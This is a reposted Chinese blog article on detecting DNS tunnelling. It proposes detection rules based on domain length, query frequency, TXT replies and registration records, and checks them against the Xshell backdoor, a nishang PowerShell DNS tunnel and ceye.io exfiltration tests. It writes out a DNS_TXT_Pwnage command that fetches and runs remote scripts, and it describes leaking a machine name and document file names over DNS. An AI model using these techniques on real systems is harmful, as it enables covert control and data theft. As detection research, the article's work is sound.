1. 程式人生 > >一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案

一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案

行為 解決 程序 其他 大量 評測 檢測 列表 jpg

摘自:http://www.freebuf.com/articles/network/149328.html

通過以上分析得出監控需要關註的幾個要素:長域名、頻率、txt類型、終端是否對解析ip發起訪問、是否有全域名註冊記錄,推導檢測邏輯如下:

方向1:特征檢測:

檢測竊密木馬(無需更新和接收指令): 【域名超長 or 頻率高】 and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】

檢測遠控木馬(需更新和接收指令): 【域名超長 or 頻率高】 and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】 and 【存在txt回包】

通用檢測(可發現單次外傳,存在瀏覽器預解析等誤報,需結合其他特征確認):

{【存在txt回包】and 【不存在全域名註冊記錄】} or {【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】}

方向2:基於外傳量檢測,發現正在進行的大量數據泄露(不分析細節,僅供參考,本次實驗不涉及):

單臺機器檢測: 域名長度(3+N級的域名) * 域名數量(相同只計算一個) > 單臺機器閾值,評測外傳數據大小,達到閾值則觸發報警

群體事件檢測: A機器域名長度(3+N級的域名)* A機器域名數量(相同只計算一個) + B +… > 多臺機器閾值,評測外傳數據大小,達到閾值則觸發報警

實驗驗證分析:

為驗證此方案的邏輯正確性,筆者實驗如下:

Xshell實驗驗證:

1、直接運行xshell,觸發dns行為

2、外傳結果抓包:

技術分享

3、檢測邏輯匹配分析:

a) 外傳域名超長

b) 頻率較高

c) 類型為TXT,有回包

d) 無A記錄解析結果,也就無程序對結果發起訪問

e) 不存在全域名註冊記錄(黑客根據算法提前註冊了部分域名,但全域名無註冊信息)

結論:竊密木馬+遠控木馬

Powershell dns實驗驗證:

1、利用powershell構造dns隧道

a) 編寫一個最簡單的一句話腳本,獲取服務列表

技術分享

b) 使用nishang的Out-NnsTxt將腳本GetServiceToTxt.ps1轉換為txt記錄

技術分享

c) 在dns服務器建立對應txt記錄(後續執行需按照1,2,3,4的順序,所以建立記錄名為1)

技術分享

技術分享

驗證結果,ok

技術分享

d) 使用nishang的DNS_TXT_Pwnage讀取txt並執行(腳本自動在test.com前加1,向1.test.com請求txt記錄作為腳本執行。不過筆者最終也沒搞懂stopstring這個參數的原理,懂的朋友麻煩私信下,謝謝! ),可正常獲取服務列表。

命令和結果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

技術分享

2、外傳結果抓包:

使用Microsoft Network Monitor抓包分析

技術分享

3、檢測邏輯匹配分析:

a) 因實驗未將結果外傳,所以域名長度不大,如dns隧道外傳則必使用長域名

b) 因實驗未將結果外傳,所以頻率不高,且只獲取遠端的get-server功能,頻率也不高,但要實現外傳和獲取更多功能(如mimikatz等),則必然需要高頻率

c) 類型為TXT,有回包

d) 無A記錄解析結果,也就無程序對結果發起訪問

e) 此實驗場景未覆蓋外傳數據,所以不涉及註冊問題

結論:遠控木馬(實驗功能較單一,擴展為大馬則可精確覆蓋檢測特征)

利用ceye.io的外傳實驗驗證

1、 少量信息竊取和大量信息竊取

a) 單次少量信息竊取外傳,簡單利用windows命令(ping、nslookup等)即可竊取機器名

技術分享

b) 多次大量信息竊取,編寫腳本,搜索文檔(word、excel、ppt),並外傳文件名(此腳本360 未報警),vbs腳本內容如下 (代碼未充分驗證,不保證無錯誤,中文支持或讀文件內容請自行修改):

2、外傳結果展示:

a) 單次少量信息竊取外傳

技術分享

b) 多次大量信息竊取

技術分享

3、檢測邏輯匹配分析:

a) 利用A記錄外傳,非txt回包,長度不超長(實驗原因,未充分利用域名長度),但頻率較高,解析過程未發現異常(但此截圖為8.8.8.8,非系統dns存在一定風險)

技術分享

b) 對解析A記錄結果無後續訪問

技術分享

c) 不存在全域名註冊記錄

結論:竊取數據木馬

一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案